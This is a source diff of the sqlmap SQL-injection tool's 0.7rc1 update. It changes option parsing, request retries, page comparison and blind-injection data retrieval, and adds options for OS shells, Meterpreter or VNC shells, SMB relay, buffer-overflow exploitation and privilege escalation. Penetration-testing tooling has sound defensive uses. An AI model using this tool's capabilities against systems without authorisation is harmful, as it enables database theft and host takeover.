This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -30,13 +30,14 @@ import sys
# sqlmap version and site
VERSION = "0.6.5-rc1"
VERSION = "0.7rc1"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
# sqlmap logger
logging.addLevelName(9, "TRAFFIC OUT")
logging.addLevelName(8, "TRAFFIC IN")
LOGGER = logging.getLogger("sqlmapLog")
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
@ -45,33 +46,33 @@ LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(logging.WARN)
# System variables
PLATFORM = sys.platform.lower()
PYVERSION = sys.version.split()[0]
# Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
# Url to update sqlmap from
# Urls to update sqlmap from
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
# Database managemen system specific variables
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ]
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ]
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
SUPPORTED_OS = ( "linux", "windows" )
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
SUPPORTED_OS = ( "linux", "windows" )
# TODO: port to command line/configuration file options?
SECONDS = 5
RETRIES = 3
SQL_STATEMENTS = {
"SQL SELECT statement": (
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
"show ",
" top ",
@ -87,29 +88,29 @@ SQL_STATEMENTS = {
" rownum as ",
"(case ", ),
"SQL data definition": (
"SQL data definition": (
"create ",
"declare ",
"drop ",
"truncate ",
"alter ", ),
"SQL data manipulation": (
"SQL data manipulation": (
"insert ",
"update ",
"delete ",
"merge ", ),
"SQL data control": (
"SQL data control": (
"grant ", ),
"SQL data execution": (
"exec ",
"SQL data execution": (
"execute ", ),
"SQL transaction": (
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
}
}

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -90,13 +90,23 @@ def autoCompletion(sqlShell=False, osShell=False):
if sqlShell:
completer = CompleterNG(queriesForAutoCompletion())
elif osShell:
# TODO: add more operating system commands; differentiate commands
# based on future operating system fingerprint
completer = CompleterNG({
"id": None, "ifconfig": None, "ls": None,
"netstat -natu": None, "pwd": None,
"uname": None, "whoami": None,
})
if kb.os == "Windows":
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
completer = CompleterNG({
"copy": None, "del": None, "dir": None,
"echo": None, "md": None, "mem": None,
"move": None, "net": None, "netstat -na": None,
"ver": None, "xcopy": None, "whoami": None,
})
else:
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
completer = CompleterNG({
"cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None,
})
readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete")

89
lib/core/subprocessng.py Normal file
View File

@ -0,0 +1,89 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import fcntl
import errno
import os
import sys
import time
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd):
# Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor
output = ""
while True:
try:
output += os.read(fd, 8192)
except (OSError, IOError), ioe:
if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
# Uncomment the following line if the process seems to
# take a huge amount of cpu time
# time.sleep(0.01)
continue
else:
raise
break
if not output:
raise EOFError, "fd %s has been closed." % fd
return output
def blockingWriteToFD(fd, data):
# Another quick twist
while True:
try:
data_length = len(data)
wrote_data = os.write(fd, data)
except (OSError, IOError), io:
if io.errno in (errno.EAGAIN, errno.EINTR):
continue
else:
raise
if wrote_data < data_length:
blockingWriteToFD(fd, data[wrote_data:])
break
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -42,14 +42,14 @@ class MSSQLBannerHandler(ContentHandler):
given Microsoft SQL Server banner based upon the data in XML file
"""
def __init__(self, banner):
def __init__(self, banner, info):
self.__banner = sanitizeStr(banner)
self.__inVersion = False
self.__inServicePack = False
self.__release = None
self.__version = ""
self.__servicePack = ""
self.__info = info
def __feedInfo(self, key, value):
@ -58,7 +58,7 @@ class MSSQLBannerHandler(ContentHandler):
if value in ( None, "None" ):
return
kb.bannerFp[key] = value
self.__info[key] = value
def startElement(self, name, attrs):
@ -117,7 +117,7 @@ def bannerParser(banner):
checkFile(xmlfile)
if kb.dbms == "Microsoft SQL Server":
handler = MSSQLBannerHandler(banner)
handler = MSSQLBannerHandler(banner, kb.bannerFp)
parse(xmlfile, handler)
handler = FingerprintHandler(banner, kb.bannerFp)

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -43,7 +43,7 @@ def cmdLineParser():
parser = OptionParser(usage=usage, version=VERSION_STRING)
try:
parser.add_option("-v", dest="verbose", type="int",
parser.add_option("-v", dest="verbose", type="int", default=1,
help="Verbosity level: 0-5 (default 1)")
# Target options
@ -68,7 +68,7 @@ def cmdLineParser():
"to specify how to connect to the target url.")
request.add_option("--method", dest="method", default="GET",
help="HTTP method, GET or POST (default: GET)")
help="HTTP method, GET or POST (default GET)")
request.add_option("--data", dest="data",
help="Data string to be sent through POST")
@ -87,30 +87,34 @@ def cmdLineParser():
"header from file")
request.add_option("--headers", dest="headers",
help="Extra HTTP headers '\\n' separated")
help="Extra HTTP headers newline separated")
request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type, value: "
"Basic or Digest")
help="HTTP Authentication type (value "
"Basic or Digest)")
request.add_option("--auth-cred", dest="aCred",
help="HTTP Authentication credentials, value: "
"name:password")
help="HTTP Authentication credentials (value "
"name:password)")
request.add_option("--proxy", dest="proxy",
help="Use a HTTP proxy to connect to the target url")
request.add_option("--threads", dest="threads", type="int",
request.add_option("--threads", dest="threads", type="int", default=1,
help="Maximum number of concurrent HTTP "
"requests (default 1)")
request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float",
request.add_option("--timeout", dest="timeout", type="float", default=30,
help="Seconds to wait before timeout connection "
"(default 30)")
request.add_option("--retries", dest="retries", type="int", default=3,
help="Retries when the connection timeouts "
"(default 3)")
# Injection options
injection = OptionGroup(parser, "Injection", "These options can be "
@ -126,6 +130,10 @@ def cmdLineParser():
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
injection.add_option("--os", dest="os",
help="Force back-end DBMS operating system "
"to this value")
injection.add_option("--prefix", dest="prefix",
help="Injection payload prefix string")
@ -141,12 +149,12 @@ def cmdLineParser():
"query is valid")
injection.add_option("--excl-str", dest="eString",
help="String to be excluded before calculating "
"page hash")
help="String to be excluded before comparing "
"page contents")
injection.add_option("--excl-reg", dest="eRegexp",
help="Regexp matches to be excluded before "
"calculating page hash")
help="Matches to be excluded before "
"comparing page contents")
# Techniques options
@ -165,6 +173,11 @@ def cmdLineParser():
action="store_true",
help="Test for time based blind SQL injection")
techniques.add_option("--time-sec", dest="timeSec",
type="int", default=5,
help="Seconds to delay the DBMS response "
"(default 5)")
techniques.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION query (inband) SQL injection")
@ -214,25 +227,25 @@ def cmdLineParser():
enumeration.add_option("--passwords", dest="getPasswordHashes",
action="store_true",
help="Enumerate DBMS users password hashes (opt: -U)")
help="Enumerate DBMS users password hashes (opt -U)")
enumeration.add_option("--privileges", dest="getPrivileges",
action="store_true",
help="Enumerate DBMS users privileges (opt: -U)")
help="Enumerate DBMS users privileges (opt -U)")
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
help="Enumerate DBMS databases")
enumeration.add_option("--tables", dest="getTables", action="store_true",
help="Enumerate DBMS database tables (opt: -D)")
help="Enumerate DBMS database tables (opt -D)")
enumeration.add_option("--columns", dest="getColumns", action="store_true",
help="Enumerate DBMS database table columns "
"(req:-T opt:-D)")
"(req -T opt -D)")
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
help="Dump DBMS database table entries "
"(req: -T, opt: -D, -C, --start, --stop)")
"(req -T, opt -D, -C, --start, --stop)")
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
help="Dump all DBMS databases tables entries")
@ -271,38 +284,63 @@ def cmdLineParser():
# File system options
filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database "
"management system file system taking "
"advantage of native DBMS functions or "
"specific DBMS design weaknesses.")
"management system underlying file system.")
filesystem.add_option("--read-file", dest="rFile",
help="Read a specific OS file content (only on MySQL)")
help="Read a file from the back-end DBMS "
"file system")
filesystem.add_option("--write-file", dest="wFile",
help="Write to a specific OS file (not yet available)")
help="Write a local file on the back-end "
"DBMS file system")
filesystem.add_option("--dest-file", dest="dFile",
help="Back-end DBMS absolute filepath to "
"write to")
# Takeover options
takeover = OptionGroup(parser, "Operating system access", "This "
"option can be used to access the back-end "
"database management system operating "
"system taking advantage of specific DBMS "
"design weaknesses.")
"database management system underlying "
"operating system.")
takeover.add_option("--os-cmd", dest="osCmd",
help="Execute an operating system command")
takeover.add_option("--os-shell", dest="osShell", action="store_true",
help="Prompt for an interactive OS shell "
"(only on PHP/MySQL environment with a "
"writable directory within the web "
"server document root for the moment)")
help="Prompt for an interactive operating "
"system shell")
takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
help="Prompt for an out-of-band shell, "
"meterpreter or VNC")
takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
help="One click prompt for an OOB shell, "
"meterpreter or VNC")
takeover.add_option("--os-bof", dest="osBof", action="store_true",
help="Stored procedure buffer overflow "
"exploitation")
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
help="User priv escalation by abusing Windows "
"access tokens")
takeover.add_option("--msf-path", dest="msfPath",
help="Local path where Metasploit Framework 3 "
"is installed")
takeover.add_option("--tmp-path", dest="tmpPath",
help="Remote absolute path of temporary files "
"directory")
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and "
"calculate the estimated time of arrival "
"in real time")
help="Display for each output the "
"estimated time of arrival")
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version")
@ -317,6 +355,9 @@ def cmdLineParser():
miscellaneous.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behaviour")
miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
help="Clean up the DBMS by sqlmap specific "
"UDF and tables")
parser.add_option_group(target)
parser.add_option_group(request)

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -39,8 +39,7 @@ class FingerprintHandler(ContentHandler):
"""
def __init__(self, banner, info):
self.__banner = sanitizeStr(banner)
self.__banner = sanitizeStr(banner)
self.__regexp = None
self.__match = None
self.__dbmsVersion = None

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -103,6 +103,9 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data
data = sanitizeStr(attrs.get("query2"))
self.__queries.timedelay2 = data
elif name == "substring":
data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -29,14 +29,10 @@ import re
from lib.core.convert import md5hash
from lib.core.data import conf
from lib.core.data import logger
MATCH_RATIO = None
from lib.core.session import setMatchRatio
def comparison(page, headers=None, getSeqMatcher=False):
global MATCH_RATIO
regExpResults = None
# String to be excluded before calculating page hash
@ -78,13 +74,16 @@ def comparison(page, headers=None, getSeqMatcher=False):
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if MATCH_RATIO == None:
if conf.md5hash != None and ratio < 1 and ratio > 0.6:
if conf.matchRatio == None:
if conf.md5hash != None and ratio > 0.6 and ratio < 1:
logger.debug("setting match ratio to %.3f" % ratio)
MATCH_RATIO = ratio
conf.matchRatio = ratio
elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ):
logger.debug("setting match ratio to default value 0.900")
MATCH_RATIO = 0.900
conf.matchRatio = 0.900
if conf.matchRatio != None:
setMatchRatio()
# If it has been requested to return the ratio and not a comparison
# response
@ -100,7 +99,7 @@ def comparison(page, headers=None, getSeqMatcher=False):
# If the url is not stable it returns sequence matcher between the
# first untouched HTTP response page content and this content
elif ratio > MATCH_RATIO:
elif ratio > conf.matchRatio:
return True
else:
return False

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -38,7 +38,6 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.settings import RETRIES
from lib.request.basic import forgeHeaders
from lib.request.basic import parseResponse
from lib.request.comparison import comparison
@ -72,6 +71,7 @@ class Connect:
ua = kwargs.get('ua', None)
direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False)
silent = kwargs.get('silent', False)
page = ""
cookieStr = ""
@ -128,7 +128,7 @@ class Connect:
conn = urllib2.urlopen(req)
# Reset the number of connection retries
conf.retries = 0
conf.retriesCount = 0
if not req.has_header("Accept-Encoding"):
requestHeaders += "\nAccept-Encoding: identity"
@ -199,8 +199,11 @@ class Connect:
return None, None
if conf.retries < RETRIES:
conf.retries += 1
if silent == True:
return None, None
elif conf.retriesCount < conf.retries:
conf.retriesCount += 1
warnMsg += ", sqlmap is going to retry the request"
logger.warn(warnMsg)
@ -226,7 +229,7 @@ class Connect:
@staticmethod
def queryPage(value=None, place=None, content=False, getSeqMatcher=False):
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
@ -265,7 +268,7 @@ class Connect:
else:
ua = conf.parameters["User-Agent"]
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua, silent=silent)
if content:
return page, headers

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -39,7 +39,6 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.settings import SECONDS
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse
from lib.techniques.blind.inference import bisection
@ -47,7 +46,7 @@ from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
def __goInference(payload, expression):
def __goInference(payload, expression, charsetType=None):
start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
@ -57,20 +56,20 @@ def __goInference(payload, expression):
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
count, value = bisection(payload, expression, length=length)
count, value = bisection(payload, expression, length, charsetType)
duration = int(time.time() - start)
if conf.eta and length:
infoMsg = "retrieved: %s" % value
logger.info(infoMsg)
infoMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(infoMsg)
debugMsg = "performed %d queries in %d seconds" % (count, duration)
logger.debug(debugMsg)
return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None):
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None):
outputs = []
origExpr = None
@ -89,7 +88,8 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = resume(expressionReplaced, payload)
if resumeValue == True:
output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ):
if output:
@ -97,7 +97,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __goInference(payload, expressionReplaced)
output = __goInference(payload, expressionReplaced, charsetType)
if isinstance(num, int):
expression = origExpr
@ -107,7 +107,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
return outputs
def __goInferenceProxy(expression, fromUser=False, expected=None):
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
@ -125,13 +125,19 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilLimitChar = None
untilOrderChar = None
output = resume(expression, payload)
if resumeValue == True:
output = resume(expression, payload)
else:
output = None
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
return output
if unpack == False:
return __goInference(payload, expression, charsetType)
if kb.dbmsDetected:
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
@ -200,6 +206,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
elif batch == True:
test = "y"
else:
message = "can the SQL query provided return "
message += "multiple entries? [Y/n] "
@ -214,54 +222,58 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, payload)
if resumeValue == True:
count = resume(countedExpression, payload)
if not stopLimit:
if not count or not count.isdigit():
count = __goInference(payload, countedExpression)
count = __goInference(payload, countedExpression, charsetType)
if count and count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
if batch == True:
stopLimit = count
else:
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit"
test = readInput(message, default="a")
elif test[0] in ("q", "Q"):
return "Quit"
if not test or test[0] in ("a", "A"):
stopLimit = count
elif test.isdigit() and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
elif test[0] in ("q", "Q"):
return "Quit"
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test.isdigit() and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
if not stopLimit.isdigit():
elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
logger.error(errMsg)
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
